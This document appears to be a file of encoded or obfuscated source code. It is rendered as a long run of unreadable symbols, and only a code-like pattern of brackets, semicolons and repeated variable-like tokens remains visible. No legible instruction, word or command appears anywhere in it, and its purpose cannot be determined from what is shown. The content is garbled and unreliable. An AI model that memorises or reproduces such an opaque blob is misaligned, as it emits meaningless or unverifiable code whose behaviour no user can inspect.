 OK]WFOOeOeOOOOOeeOOOOOOO	 OOV^V^ V	]\VGFeOOeOOOOOKVV_VOOOROO	
TeO	OOGKVV_VFO
TeOOOOKVV_VOORO
TeOOOOOeOY_]WWYV	0
]Y
GFTeOOO
]ZV_[	[\ XGFTe0ZYXZZ]YXGFTe [Y_0GFTeOOOOOO\X^]^\ZGFTeeOOOOOW	[	^YW[GFTeOOO
^[YWGFTeOOO[VZ^_
GFTeOZ_W ^[GFTeO	OOOOOG[ ^_GFFOOOOOe	OGV[^_G[W]FGV[^_GZ_[FFOOOOOIIOOO0 GWZ XG[]XFFFOOOe	OOG]X_	G[W]FG_G^[WFFFO_GZ_ZFG_GZ_YFFTeeOO

OOOeOOOOO
X
 X^G]X_	G[]XFCOOOO]X_	GZ_YFCOOOOOO_FTeOOOeOeOOOOOOOG; 
OOK]WFOeOOOOOOG*
 OOK]WFOOeOOOee	 OOY]_WGFeOOOeOOOOOOeO	OOGN_G[W]FGWZ XG\__FFOOOOONWZ XGZ_XFGWZ XGZ_WFFFO
TeOOOOOO	OOOGN_GZ_VFGWZ XGZ^_FFOONWZ XGZ_VFGWZ XGZ^^FFFO
TeK	 X^  OOOROOOOWZ XG[V_FGFTe	OOGK	 X^  OOBOGFO/
0  GWZ XGZ^]FCOOO_FOSOOOOG\W[YB][YFFOOO
TeOOOOOO/
0  G]X_	GZ^\FCOK	 X^  COOOWZ XG^XVFFTeOO/V[^_G\__FG 
0GH@HFCOOOGWZ XG\_^FOORQOO]COO]X_	G\_]FOORQO	
CO]X_	GZ^[FORQO	
FFTeOOG; 
OK]WFOOeOOOOOOOG*
 OK]WFOOOOeeeO	 O[ ^_GFeeOOeO	OOOOGNOOV[^_GZ_VFG_GZ^_FFFOOOeee
O
TeeOeOOOOOOOeOOOOO	OG]X_	GZ_VFGV[^_G[Y^FFOOIIO
0
G	[\Y
GFFFOOe
OO	
TeOOOOOOeeeeeOOKY OOOOOROZ0WVW V 
[GFTeeOOOOK^^
YOROOOOO
_[
][	G]X_	G[_VFCOOO	
FTeO	OOOG_G[V^FGK^^
YFOIIO
GK^^
Y4]X_	GZ^ZF2FOOIIOOOOGFOK^^
Y4V[^_GZ^ZF2OOOOOOQROGZVD][^FOOOOIIOOGFOOOOK^^
Y4V[^_GZ^YF2OOOSROGYWVXVD^X[]^FFOOOKY OOOROOOOGFOK^^
Y4V[^_GZ^YF2TeOOK 
\WZ\[OOOOOROOGFOOOO
0  G_GZ^XFCOO_FTeeOO	OOGK 
\WZ\[OOOOQOOOO_OOIIOOG]X_	G[V_FGFOBOK 
\WZ\[FOOSOOOOOKY FOeOOOO
O	
TeeeOOOeOOOK[WXW[Y\OOROGFO
0  GV[^_GZ^WFCOOO_FTe	OOOGK[WXW[Y\OQOO_FOeK0 X]YOOOOROOOOGFOOO
0  GWZ XGZ^VFCOO_FTeOOOKY\YOOROGG]_]DVWFCOGW_]DVWFCOOGV]D^X_WFCOOG_X
D_Y\]FCOOOGYXYYB\^YYFFTeOOK^]XV[
OOROOOKY\Y4_GZ]_FG_COOOOWZ XGZ]^FGK0 X]YOOBO^COOOGWB[FFF2TeK^]XV[
ODRO_G[]ZFG_COGFOGK^]XV[
OOOOEOO_A]ZFFTeOO	OGGWZ XGZ]]FGFOBOK[WXW[Y\FOSOOOOK^]XV[
FOOOOOeOO
OOO	
TeeeOOeeeeOOOOOOeOOOOOO
O
TeOOOeeeeOeeeOO	 OW	\_VX0\V GFeOOOOeOOOOK0 X]YOOOROOOGFO
0  G_GZ^VFCOO_FTeO
0  GV[^_GZ^VFCOOK0 X]YOODO^FTeOO
0  GV[^_GZ^WFCO]X_	GZ]]FGFFTeOeOOOOOO	 OOOOO0 W]ZXXW\]GFeeeeeeeOOK0VV0OOROGFTeOOOOOOOeOK0VV04V[^_GZ]\F2OOROOOOV	_00YGFTeeOOK0VV04]X_	GZ][F2ORO?'?09*=<& !TeeeeOOOOK0VV04V[^_GZ]ZF2OOORO]X_	GZ]YFGFTeeeeOK0VV04WZ XGZ]XF2OOROOOGWZ XGZ_VFGWZ XGZ]WFFOOIIOO0GFFOOPOOOO^OOOOUO_TeOOK0VV04_GZ]VF2OROOG]X_	GZ_VFGV[^_G]^\FFOOIIOOOOO0
GFFOOPOO^OOOOUO_TeOOOOOK0VV04_GZ\_F2OOROO
GK(# -.#<4_GZ\^F2FOPOOOOGFOOOK(# -.#<4]X_	GZ\]F2OOUOOOMMTeK0VV04]X_	GZ\\F2OOOOORO
GK0<*=9*=4V[^_GWVF2FOOOPOO_G[VYFGGFOK0<*=9*=4_GWVF2COOOOO_COG_^\D_^ZFFOUOOOOMMTeeeOOKXY0^Y\\OOOOROG
GK(# -.#<4WZ XG[X^F2FOOOOIIOOWZ XG[WWFGK(# -.#<4_G[X^F2FFOOPOOV[^_G\\YFGK(# -.#<4]X_	G[X^F2FOOUOOOOMMTeeeK0VV04WZ XGZ\[F2OROGKXY0^Y\\OOONRROMMFOOPO^OOOUOOOO_TeeeOK0VV04_GZ\ZF2OOOOROOO_GZ\YFGKXY0^Y\\FTeeeeOOK0VV04WZ XGZ\XF2OOROOON
GK(# -.#<4]X_	GZ\WF2FOOOPOOO^OUOOO_TeeOOOOOK0VV04V[^_GZ\VF2OOROON
GK(# -.#<4]X_	GZ[_F2FOPO^OOUO_TeOOOK0VV04]X_	GZ[^F2OROWZ XGZ_VFGWZ XGZ^_FFOOOOOOPOOOGFOO/
0  G_GZ[]FCOOO_FOOOUO_TeeeeOOK0VV04_G\V[F2OROOOOOGX\VXG]X_	G\V[FCOOOOOOMMFOOONRROOOOOMMFOOOOPOOOO^OOUOOOOO_TeeeOOOK0VV04WZ XGZ[\F2OROWZ XGZ[[FG]X_	GZ^_FFOPOOGFOOOOO/
0  GWZ XGZ[ZFCOO_FOOUOOOOO_TeOK0VV04_GZ[YF2OOOOOROOOOO]X_	GZ[[FGV[^_GZ^_FFOOPOOGFO/
0  GWZ XGZ[XFCOO_FOOOUOOO_TeeeeK0VV04_GZ[WF2OOOROO]X_	GZ[VFGV[^_GZ^_FFOPOOOGFOOOOO/
0  G]X_	GZZ_FCOO_FOOOUOOO_TeOK	Z V^OOROO\\^WVV_	GFTeOOOOOK0VV04V[^_GZZ^F2OROOO/WZ XGZZ]FGK	Z V^OOOAOV[^_GZZ\FFOOPOGZ[ 	X\	G/V[^_G[WZFGK	Z V^OAOOWZ XGZZ\FCOOO	
COOOOOCOO_COOGW^\^DY^FFFOOOPOOO]OOOOOUOO^FOUOOOO_TeOK0VV04_GZZ[F2OROOOO/WZ XGZZ]FGK	Z V^OAO_GZZZFFOPOOOGZ[ 	X\	G/WZ XGZZYFGK	Z V^OAOOOO]X_	GZZZFCOOO	
COOOCO_COOOGW^W_D^]FFFOPOOO]OUO^FOOOOUOOOOO_TeOOOOK0VV04WZ XGZZXF2OOROO/]X_	GZZ]FGK	Z V^OAOV[^_GZZWFFOOPOGZ[ 	X\	G/]X_	GZZVFGK	Z V^OAOOWZ XGZY_FCOOOO	
COOOCO_COOGW^__DV]FFFOOPO]OOUOOOO^FOOOUOO_TeOK
_\0OOOOORO]X_	GZY^FOOOOAOOOOOOW
W\0]G.-<?.;'OOOOAOOOHHCOG^\BZFFTeOOOK
_\ZYWOOOOOORO_GZY]FOOOAOOW
W\0]G.-<?.;'OAOOOHHCOOG[SS^FFTeOOOOK0VV04WZ XGZY\F2ORO_Te	 
OOOOOGGX[W	[X][		GFCOOK	Z V^COO.-<?.;'OOOOAOOWZ XGZY[FFOOOOOOOK_	^Y\0 XFOOOOOeeO	OOG/_GZZ]FGK_	^Y\0 XOOOAOOOH@HOAOOK
_\0OAOO_GZ_FFFOOK0VV04WZ XGZY\F2OOOROO^Te	OOOOG/]X_	GZYZFGK_	^Y\0 XOOAOOH@HOAOOK
_\ZYWFOIIOGFOO/V[^_GZYYFGK_	^Y\0 XOOOOOOAOOH@HOOOAOOOOK
_\ZYWFOOOOQOOOOO_GZ]]FGFOOBOOOG[Z^B]^^FFOOeOOOOK0VV04V[^_GZY\F2OOOOOROO]TeeOO
TeOOeOOOeeOOOOO
GK
_\ZYWCOOK_	^Y\0 XFTeeeeK[V]_ VOROV[^_GZYXFGWZ XGV_FFOOOOOPOOO/WZ XGZYWFGV[^_GZYVFFOOOOOUOOO	
TeOO	OGN_G[WWFGK[V]_ VFOOOK[V]_ VOOORRROOOOOMMOOOOK[V]_ VORRROO]X_	GZX_FFOOOOOK[V]_ VOOROOO]X_	GZX^FTeOOK0VV04WZ XGZX]F2OOROOOOOOG/V[^_GZYZFG.-<?.;'OOAOOOK[V]_ VFOIIOOOOO_G\VZFGGFOO/_GZX\FG.-<?.;'OOOOOOAOOK[V]_ VFCOOOOO]X_	GZX[FFOOONRROO	
FOOOPOO^OUO_TeeeOOOK0VV04V[^_GZXZF2OOOOOOROG/_GZYZFG.-<?.;'OOAOOOOO_GZXYFFOIIO]X_	GZXXFGGFO/WZ XGZX\FG.-<?.;'OAOOV[^_GZXYFFCOOOV[^_GZX[FFOONRRO	
FOOOPOOOO^OOOUOOOOOO_TeOOK0VV04WZ XGZXWF2OROOG/V[^_GZYZFG.-<?.;'OOOAOV[^_GZXVFFOOOIIOOOOWZ XGZXXFGGFO/]X_	GZW_FG.-<?.;'OOAO]X_	GZW^FCO	
COCOOOO_COGYZ[Z_DWYFFCOOOV[^_GZW]FFOOONRROOOO	
FOPO^OUO_TeOOOOK0VV04WZ XGZW\F2OOROOOO
	
GV[^_GZW[FFOOOPOOOO^OUOOO_TeK0VV04_GZWZF2OOROG
	
G]X_	GZWYFFOOOO
	
GV[^_GZWXFFOOOOO
	
GV[^_GZWWFFOOO]X_	GZWVFG_GZV_FFOOOOOOOV[^_GZV^FG]X_	GZV]FFOOOO
GK(# -.#<4]X_	GZV\F2FOOOO]X_	GZV[FGV[^_GZVZFFFOOPO^OUO_TeOOK0VV04V[^_GZVYF2OROOGFOOOO
0  GV[^_GZVXFCO_FTeOOK0VV04_GZVWF2OOROGFOO
0  G]X_	GZ^VFCO_FTeOOOK0VV04]X_	GZVVF2OOOROOGFOOO
0  GWZ XGZ^WFCOOOOOO_FTeeeKZW_\OOROOO
V[[
0[GV[^_GY__FCOOOGFFTeOK	]VXOOOROOO_TeKW_^ZOROO_TeeeO	OOOOGV[^_G[V^FGKZW_\FFOOOeO	 
OOOOOGKZW_\OOOOOKV^VFOOOeeeOOO	OOOOOOG
V]V_^GKV^VFOORRROMMFOO 
TeOOOK	]VXDDTeK[XX\OOROOV[^_GY_^FGKV^VFOPOOOOGFOG
GKV^V4V[^_GY_]F2FOPOOKV^V4]X_	GY_\F2OOUOO^FOUOO^TeOK	^	[[^XOOOOROOOV[^_GY_^FGKV^VFOOOOIIOO
GKV^V4]X_	GY_[F2FOOPOOOOOOGFOKV^V4WZ XGY_ZF2OOOOOOUO_TeOOOO	OOGNK[XX\OIIOGNK	^	[[^XOOOK	^	[[^XOOOSOO_GZ]]FGFOOOOBOOOGZW\^B]]\^FFFOOKW_^ZDDTeOeOeK0VV04V[^_GY_YF2OOOOROK	]VXTeK0VV04_GY_XF2OOOOOOROOOOOKW_^ZTeeeKY0XZWOOOOOROV[^_GZV[FGWZ XGZ^_FFOOOOOOPO/
0  GV[^_GY_WFCOMMFOUOMMTeOOOOK0VV04WZ XGY_VF2OOOOOOROO]X_	G[WWFGKY0XZWFOOOOPOOOOV[^_G[VYFGKY0XZWCOO_COOOG_^D_[FFOOOOUOMMTeOOOK]X
^OROOOWZ XGZV[FG]X_	GZ^_FFOOOOPO/
0  G_GY^_FCOOOOOGFFOOUOOOOOGFTeOOK0VV04_GY^^F2OOOROOGV[^_GY^]FGK]X
^FOOOOOOIIOOGN
GK]X
^4HH2FOOOON
GK]X
^4_GY^\F2FFFOOOOOPO^OOOOOOUOO_TeOOOOOOOOOOG; 
OK]WFOOeOOOK0VV04WZ XGY^[F2OOOOROV[^_G[VYFGK]WBQ
"

GFCOO_COOOOOG_D_\]FFTeOOOOOOOOOOOG*
 OOK]WFOOOOOeOOOOOOK0VV04WZ XGY^[F2OROOO_GY^ZFGK]WBQ
"

GFCOO_COGX_B^_FFTeeOOeOOOOO
OOK0VV0TeOOOOeOOe	 OOWWYYY\GFeOOOOOOeOOO	OG_GZV[FG_G[]VFFFOeOOOO
OOGFO
0G]X_	GY^YFFTeOOeOOO
OOOOO]X_	GY^XFGV[^_GY^WFFOOOPOOGFOO0 0GFOOOOOOUOOMMTeeOeOOOO	 OOOOO[WV		0VGK
0Y
ZFeOOOOeOK0^[Z[^
OOROOOOOMMTeeOO	OOOOGV[^_GY^XFGV[^_GY^VFFFOeOOK0^[Z[^
OROOGFOWZ XGY]_FG 
0GFCOOO G_GY]^FFFTeOOOeOO	OOGNOOOK0^[Z[^
OOIIOOOOOWZ XGY^XFGV[^_GY]]FFFOeOOK0^[Z[^
OOOOROOOOGFO]X_	GY]\FG
0
0GFCOOOO GV[^_GY]^FFFTee	OOGNOOOOOK0^[Z[^
OOOOIIOOO]X_	GY^XFG]X_	GY][FFFOOOOeOOOOOOK0^[Z[^
OOROGFOV[^_GY]\FG
0 	 GV[^_GY]ZFFCOO G]X_	GY]YFFFTeOOOeOO	OOGNOOOK0^[Z[^
OIIOOOO]X_	GY^XFG_GZ^_FFFOOOOOeK0^[Z[^
OROGFOOV[^_GY]\FGGFOO
0  GWZ XGY]XFCOOOMMFCOO GWZ XGY]WFFFTeOOeOO	OOGNOOOK0^[Z[^
OOOOIIOO
GK0<*=9*=4WZ XGY]VF2FFOOOOeOOOOOOOK0^[Z[^
OROOOGFOOK0<*=9*=4]X_	GY]VF2TeOeO	OGNOOK0^[Z[^
OOOIIO
GK0<*=9*=4_GY\_F2FFOOeK0^[Z[^
OOROOOGFOOOK0<*=9*=4_GY\_F2TeOOOOOOeOOOOOOO	OOGNOK0^[Z[^
FOeOO
OOOK
0Y
ZTeeOOOOOO
OOOK0^[Z[^
TeOeeeOOOO	 OOOOOXW^VGFeOeOOOeOK0YVOOOOROWZ XGY^XFGV[^_GZYWFFOOPOOGFOOOOOO/]X_	GZYWFGWZ XGY\^FFOOOUOO_TeOOOOOOO	OG_GY^XFGWZ XG[ZVFFFOOOOOO/_G[ZVFGG^YYD^[FFTeeeeOOKZ OOROOGK0YVOOOOQOOG]D^WFOOOIIOK0YVOSOOOG^^YDY[FFOOOOOPOOOOOGK0YVOOBOOOG^]B]FFOUOOGGK0YVOOOOOQO_OIIOK0YVOOSROOG_[D_^_FFOOOOPOG^YBYFOOOUOG[DWYFFTeO	OGNOOO[ ^_GFFOOOOOeOOO
TeOeOO	OOOGN
]		VY ^Z\XG]X_	G[][FFFOOOOeeOO
TeOOOOeOOOeOOK]\ _ X0X\OROOO]X_	G\[]FG
FTeOOOOOK0^V]OOOOOROO^[_VZ][GFTe	OOOOGeOOONOOOWZ XGY^]FGK0^V]FeOOONOOO
GK0^V]4_G\YZF2FOOOONOOOO_G[WWFGK0^V]4V[^_G\YZF2FOOOOONOOK0^V]4V[^_G\YZF2eOOOOOONO
GK0^V]4V[^_G\YYF2FOONOOWZ XGY^]FGK0^V]4WZ XG\YYF2FOO
GK0^V]4V[^_G\YYF2FeFOOeOW	\_VX0\V GFTeeeOOOOOOOO
TeOOeOOOOK	^Z[_	XOROOK0^V]4V[^_GY\]F2TeOOOK_XWXOROK0^V]4WZ XG\YYF2TeOOOO	\_\YGV[^_G\YVFCOOOK	^Z[_	XCOO]X_	G^XVFFTeOOOKX _[OOOOROOWZ XGY^XFGV[^_GY\\FFOPOOGFOOO
0  G]X_	GY\[FCOOOOMMFOOUOOOMMTeOOOO	OOOOOOGKX _[OONRROMMOOOOOIIOOWZ XGY\ZFGKX _[COOOK_XWXCOOO
FFOOeeOOOK_XWXOOROO_GY\YFG_G\\[FGK_XWXCOOGKX _[FFFTe_GY\XFGK_XWXFTe]X_	G\\ZFGK_XWXCOOOKX _[FTeOOOO

	OG]X_	G^]XFGK_XWXFOQOO^FOeeOV[^_GY\XFGK_XWXFTeOeOOOeeeOOO	OOOOGGV[^_G\[]FG
FOBOOK]\ _ X0X\FOOOOOQOOOOGFOGKZ OOOEOO_AYFFOOOeOW	\_VX0\V GFTeO
TeeeOeOeOKX	 \ZXOOROOOO0 YW
VZ	
GFTeeeOOOOOOOO^\^ZY00^GKX	 \ZXFTeOOeOKW
X\	OOOROOOGFTeeeOOO	OOG_GY^XFG_GY\\FFFOOOOeOOOOO	 
OGGFO
0  G]X_	GY\WFCOOOGFFOOOOOK[	0XYFOeeeeOOO	OOOGWZ XGY\VFGK[	0XYFOIIOK[	0XYFOOOOOeKW
X\	42OOOOOROOOOK[	0XYTeeeeeOeOOOOOeeOOK	 _X0_	OOROOGFTe	OOOOG
	
GV[^_GY[_FFFOeK
Z^OOROOOWZ XGY[^FGV[^_GY[]FFOOPO/V[^_GY[]FGWZ XG\V_FG8?":0?#:(&!0+&=COOOH@HFOOAOV[^_GY[\FFOOUO	
Te	OOOOOOG]X_	GY[[FGK
Z^FFOOOOeOOO	 
OOOGK
Z^OOOK^\V__FOOOeOK	 _X0_	42OOOOROOOOWZ XG][\FGK^\V__FTeOeeeeOOOOeeeeeeKV_\ ^ZOOROOGeeeeOOOOOOO]X_	GY[ZFORQO[WV		0VGMMFCeOOOOOOWZ XGY[YFOOORQOOOV	_00YGFCeOOV[^_GY[XFOOOOORQOOOOWZ XG][\FG []]^
 XGFCO_GY[WFFCeOOO]X_	GY[VFOOORQOWZ XG\V_FG.-<?.;'CO_GV\FFCeeeOWZ XGYZ_FOORQOOKW
X\	CeOOOOOOO_GYZ^FORQOOOOOK	 _X0_	CeWZ XGYZ]FORQOOOWWYYY\GFCeOOWZ XGYZ\FOOORQO GKX	 \ZXFCe_GYZ[FOORQOOZW][VZ[GKX	 \ZXFCe_GYZZFOORQOGK]]OOOOOROOO
][_	
X0XZGFFCeeeOOOeOOFTeOOOK
0 0Y0[	OORO]X_	GYZYFGWZ XGYZXFFOPO0 0
 
GKV_\ ^ZFOOUOOV[^_GYZWFGKV_\ ^ZFTeOOOOOOOOK_[OOOOOOROOO	\
^Z]\GK
0 0Y0[	COK	^Z[_	XFTeOOOOOKX]\ ^	OROOOGV[^_G\[_FOOORQOOO_GYZVFFTeeeeK	ZZ
]\OOOOOROOOOTeOOOW	\_VX0\V GFTeeOOeeee	 
OOOOGK_XWXOOOOOOOK	[00Y\ZFOOeOOeOOOOOOOO	OOOGGV[^_G\[]FG
FOOOBOOOK]\ _ X0X\FOOQOOOOOOKZ FOOOOOeOOO
TeOOOOOeeeOK	[00Y\ZOOOROOOOWZ XGYY_FGGFOK	[00Y\ZFTeOOOOO	OOOOOOGNOOK	[00Y\ZFOeO 
TeOOOOOeOOOOOeeeOOOOK
[ OOROOOOK	^Z[_	XTeKZV^
OOOOROOZZWGK	[00Y\ZCOK_[COOOKX]\ ^	COOOG_\D_XFCOOO	 OOOOOGKV_	^XFOO
OGK
[ FOOOOOeOOK0VV0OOROO	\
^Z]\GKV_	^XCOOK
[ FTeOO	OOOOGNK0VV0FOOO
O	
TeO
O]X_	GYY^FG/]X_	G\[ZFG]X_	GYY]FGK0VV0FCOOOO
FFTeOOFTeOO	OOOGNOKZV^
FOOOOOeOOOZ[^YZZGWZ XG[ZYFCOOV[^_GYY\FOOOOOAOK	[00Y\ZFTeOOOOO 
TeeeOOOK
XOOOOROO	\
^Z]\GKZV^
COK	^Z[_	XFTeO	OGNOOK
XFOeOOOZ[^YZZGWZ XGYY[FCO]X_	GYYZFOAOOK	[00Y\ZFTe 
TeeeOOOOeOK	ZZ
]\OOOOOROO/WZ XG\[ZFGV[^_GYY]FGK
XFCOOOOOO
FTeO	OGWZ XGYYYFGK	ZZ
]\FFOee	OOOOG]X_	GYZYFGV[^_GZ^^FFFOe
0  GWZ XGY\[FCOK	[00Y\ZFTeeeeOOOe
TeOOO

OeeeOOOOOOZ[^YZZGV[^_GYYXFCO]X_	GYYWFOAOOK	[00Y\ZFTeeeOOeeOOOOOOG; 
OOK]WFOeZ[^YZZGWZ XGYYVFCOK]WFTeOO 
TeOOOOOOG*
 OK]WFOeOOOOOO 
TeeeeOeeOOOOeeeOO	OGNOOOO_GYX_FGK	ZZ
]\FFOOOeK]OROO	\
^Z]\G_GYX^FGGeOOOOOOWZ XGYX]FOOORQOO[WV		0VGMMFCeOOOOO]X_	GY[YFORQOOV	_00YGFCeOOO_GY[XFORQO_G][\FG []]^
 XGFCO]X_	GY[WFFCeeeO_GYX\FORQOO^CeFFCOOK	^Z[_	XFTeOOOOOOOK ZW^VW[ZOROO]X_	GYX[FGGV[^_G\W]FGK]FCOWZ XGYXZFCOOOOWZ XGYXYFFCOOOOHRHFTeOOOOOK^Y^OOOROOO_GYXXFGK ZW^VW[ZCOOG_^	ZD_\W\FFTeOOOOOO	 
OOOOOGK_XWXOOOOOOOK	[00Y\ZFOOe	OOOOGG]X_	GYXWFG
FOOOBOOOK]\ _ X0X\FOOOOOQOOOOKZ FOOOeeOOOO
TeOeOOK	[00Y\ZOROOOOO_GYY]FGGFOK	[00Y\ZFTe	OGK	[00Y\ZOOORRROMMFOeO 
TeOOeeOK_YOOOOOROW
W\0]G[WV		0VGMMFOOAOO]X_	GYXWFG
FCOG]^_1]^WFFTeOOK]	_YOOOROOWZ XG^]XFGK^Y^FTeOOKX	0OOOROOG_GYXVFGK	[00Y\ZCOHPHFORRROO	
FOOPOOOHPHOUOHIHTeOOOOOO	 OGK[ XZ	OOORO_TOK[ XZ	OSOK]	_YTOOOK[ XZ	DDFOee	OOGG]X_	GYXWFG
FOOOOBOOOK]\ _ X0X\FOOOQOOKZ FOeO
TeeOK[
^^0	[OROOGK[ XZ	OOOORRROOOOOK]	_YOOOOOBOO^FTeeeeOOOOOOOOK_OROOOK	[00Y\ZOAOOKX	0OOOAOOWZ XGYW_FOOAOOOOK_YOOAOV[^_GYW^FOOOAOK[ XZ	OOOOAOOO_GYW]FOOOAOK]	_YOAOO]X_	GYW\FOOAOOK^Y^4K[ XZ	2TeKY^OOROOOO_
 
GK_COOGYD]FCOOK[
^^0	[OPOOO	 OOOOGKV_	^XFOO
OOOGK	^Z[_	XFOOeOOOOOOOK0VV0OORO	\
^Z]\GKV_	^XCOK	^Z[_	XFTeOO	OOOOOGNK0VV0FO
O	
TeOOO
OOOWZ XGYX_FG/_GYW[FG_GYY]FGK0VV0FCOO
FFTeeeOOOOOOUOFTeOO	OOOGK[
^^0	[OOOOIIOWZ XGY\VFGKY^FOOOOOIIOOOOOKY^OONRROMMFOOeOK0OROOOO	\
^Z]\GKY^COOK	^Z[_	XFTeK
_\0OOOOROK0OPO/V[^_GYW[FG_GYY]FGK0FCO
FOOOUOTeOOOO	OOOOG]X_	GYX_FGK
_\0FFOOOeeeK	ZZ
]\OOOOOROOK
_\0TeOO	OOG]X_	GYWZFGV[^_GYWYFFFOOeO
0  G_GY\[FCOOOOOOK	[00Y\ZFTeOeOOOOOOOO
TeeeeOeOOOOOee	OOOOGV[^_GYWXFGK	ZZ
]\FFOOOOeeeOOOOO
TeeeeOOeOOOeOOOOOeOO	OOOGNOOOV[^_GYWXFGK	ZZ
]\FFOOeOOOO
Tee	OOGK]]OOOOIIOOWZ XGYWZFGWZ XGYWWFFFOOOeO


0  G  0Y_^	GWZ XGYZZFFFTeOOOeOOOOOO	OGN
GK(# -.#<4]X_	GYWVF2FOOOONV[^_GYV_FGK(# -.#<4V[^_GYWVF2FFOK(# -.#<4V[^_GYV^F2OOROGFTeOOOOK(# -.#<4V[^_GYV^F2OOOROV[^_GY\YFGV[^_G\\[FGK(# -.#<4_GYV^F2COK]]FFTe	OOOOOG
GK	ZZ
]\4_GYV]F2FOOOOIIOOWZ XGYV\FGK	ZZ
]\4WZ XGYV]F2FFOOeOOOO	0Y\_GK	ZZ
]\4]X_	GYV[F2COO
GK	ZZ
]\4]X_	GYVZF2FOIIO]X_	GYVYFGK	ZZ
]\4]X_	GYVXF2FOOOOPOK	ZZ
]\4]X_	GYVXF2OUOOMMCOON
GK	ZZ
]\4WZ XGYVWF2FFTeOOOOOOeOeK0_W[OOROO	
TeOK0V[YZOOOOROOGFTeOOOOOeOO	OOG
GK	ZZ
]\4_G[Y]F2FOOIIOWZ XGYVVFGK	ZZ
]\4]X_	G[Y]F2FFOeOOK]OROOOOGFTeOOeO	 
OGK	ZZ
]\4WZ XG[Y]F2OOOOOOOKYY[][FOOe	OOG]X_	GX__FGKYY[][FOIIOOOKYY[][OONRROOMMFOOOeOK]42OOOOROOOKYY[][TeOOOeOOeK[XWZ^W OROK(# -.#<4]X_	G[Y[F2TeeeOK]OOOOROOOY\] ]GK]FTeOOOOOOOK(# -.#<4WZ XG[Y[F2OROK]TeOK0V[YZ4]X_	GX_^F2OOROK]TeO	OOOOOGNOO
GWZ XG\\[FGK]COK[XWZ^W FFOOONOO
GWZ XG\\[FGK[XWZ^W COOK]FFFOOeK0_W[OOOOROO
TeOOOOeOeOOeOOOOOO	OOG
GK	ZZ
]\4_G[YWF2FOOOOIIOV[^_GYVVFGK	ZZ
]\4WZ XG[YWF2FFOOOOOOeK]OOOOOROOOGFTeOOOOeOOOOOOOO	 
OOGK	ZZ
]\4V[^_G[YWF2OOOKYY[][FOOOOOeO	OOOG_GX__FGKYY[][FOOOIIOOOOOKYY[][ONRROOOOOMMFOOeOOK]42OOROKYY[][TeeeOK[XWZ^W OOOROOOK(# -.#<4_GX_]F2TeK]OOOOOROY\] ]GK]FTeK(# -.#<4V[^_GX_]F2OOROOOK]TeOOK0V[YZ4_G[YWF2OROOOK]TeOOO	OGNOO
GV[^_GX_\FGK]COK[XWZ^W FFOOOOOONO
G_GX_[FGK[XWZ^W COOOOOK]FFFOOOeOOOK0_W[OOROOO
TeOOeeeeOeOOO	OG
GK	ZZ
]\4V[^_G[X]F2FOOIIOOOOV[^_GX__FGK	ZZ
]\4V[^_G[X]F2FFOOOOeOOOOOOK		 YOOOOROOX\VXG]X_	GX_ZFCOOMMFTeOOK(# -.#<4_GX_YF2OOROOK	ZZ
]\4_G[X]F2TeOOK0V[YZ4V[^_G[X]F2OOOROK	ZZ
]\4]X_	G[X]F2TeO	OOG_GX_XFGK	ZZ
]\4WZ XGX_WF2FONRROOV[^_GX_XFGK		 YFFOOeO	\_\YGWZ XGX_ZFCOK	ZZ
]\4V[^_GX_WF2COOOV[^_G^XVFFTeOOOOOO^W_Z\0GFTeOe
GK		 YFTeeOOOOeKY]YWYOOROO
GK	ZZ
]\4]X_	G[XWF2FOIIOOO]X_	GX_VFGK	ZZ
]\4_G[XWF2FOPOOOOOK	ZZ
]\4]X_	G[XWF2OOUOGFTeeeOOOO	OOG
GKY]YWY4]X_	G[XZF2FOOOOIIOOO]X_	GX^_FGKY]YWY4_G[XZF2FFOeOO	OOG]X_	GX^^FGKY]YWY4_G[XZF2FOQOOG_D_]WFFOeOOOK(# -.#<4WZ XG[XYF2OROOKY]YWY4]X_	G[XZF2TeOK0V[YZ4_GX^]F2OOOROOOKY]YWY4_GX^]F2TeeeOOOOOO

OOOOOOeOOOK(# -.#<4]X_	GX^\F2OOROMMTeOK0V[YZ4_GX^[F2OROOOOMMTe	\_\YGV[^_GX^ZFCOOMMCOO]X_	G^XVFFTeeOOOe	OOG
GKY]YWY4]X_	GX^YF2FOOOOIIO_GX^_FGKY]YWY4V[^_GX^YF2FFOeOO	OOOOG_GX^^FGKY]YWY4_GX^YF2FOOQOG[_DY_FFOOOOeOK(# -.#<4WZ XGX^XF2OROOKY]YWY4]X_	GX^YF2TeOK0V[YZ4V[^_GX^WF2OROKY]YWY4]X_	GX^VF2TeOOO

OeOOK(# -.#<4_GX^XF2OROOOMMTeOOOOOK0V[YZ4WZ XGX^VF2OOOROOOOOMMTeOOOO	\_\YG]X_	G\VYFCOOMMCOOV[^_GX]_FFTeOeOOeOK	 _WWOOROO
GK	ZZ
]\4_GX]^F2FOOOIIOOV[^_GX]]FGK	ZZ
]\4]X_	GX]^F2FOOOOPOK	ZZ
]\4_GX]\F2OOOUOGFTeeeeOOKY\\	 
\OOOOROOGeeeeOOO]X_	GX][FORQOOOO]X_	GX]ZFCe_GX]YFOOORQOOOWZ XGX]XFCeOO_GX]WFORQOO]X_	GX]VFCeWZ XGX\_FORQOOO_GX\^FCeOOWZ XGX\]FOOOORQOOO_GX\\FCee_GX\[FORQOOOWZ XGX\ZFCeOWZ XGX\YFORQOOV[^_GX\XFCeO_GX\WFOOOORQOOO]X_	GX\VFCeOFTeOOOOO	 
OOOGKY\\	 
\OOOOK[	YV0OOOORQOOOKV_\_FOOeO	OOOOG
GK	 _WW4K[	YV02FOOOIIOOO_GX^_FGK	 _WW4K[	YV02FOOIIO]X_	GX^^FGK	 _WW4K[	YV02FOQOOGZYBYFFOOOOOOeOOOOK0V[YZ4KV_\_2OOROOOOK	 _WW4K[	YV02TeOOOeOe	OG
GK	ZZ
]\4]X_	GZ^YF2FOIIOOO_GX[_FGK	ZZ
]\4]X_	GZ^YF2FFOOOOeK]W\OROOGFOOOOK	ZZ
]\4WZ XGZ^YF2Te	OOGK]W\OQROOOOGZWYB]WYFOOOIIOOK]W\OOOOOSROGWY\[[DZYFFOOK0V[YZ4WZ XGZ^YF2OOOROOOK]W\TeOOOOOOOeOOO	OOG
GK	ZZ
]\4V[^_GX[^F2FOIIOOOOWZ XGX[_FGK	ZZ
]\4_GX[]F2FFOOeOOK0OOOROGFOOK	ZZ
]\4_GX[]F2TeO	OOOOGK0OOOOOQROOG]Y_D[_FOOIIOOOOOK0OSROOOOOGVW^Z^B^^XZ^FFOK0V[YZ4_GX[]F2OROOOK0TeeeeOe	OOG
GK0V[YZFFOeOO


0  GWZ XGZ^WFFTeO


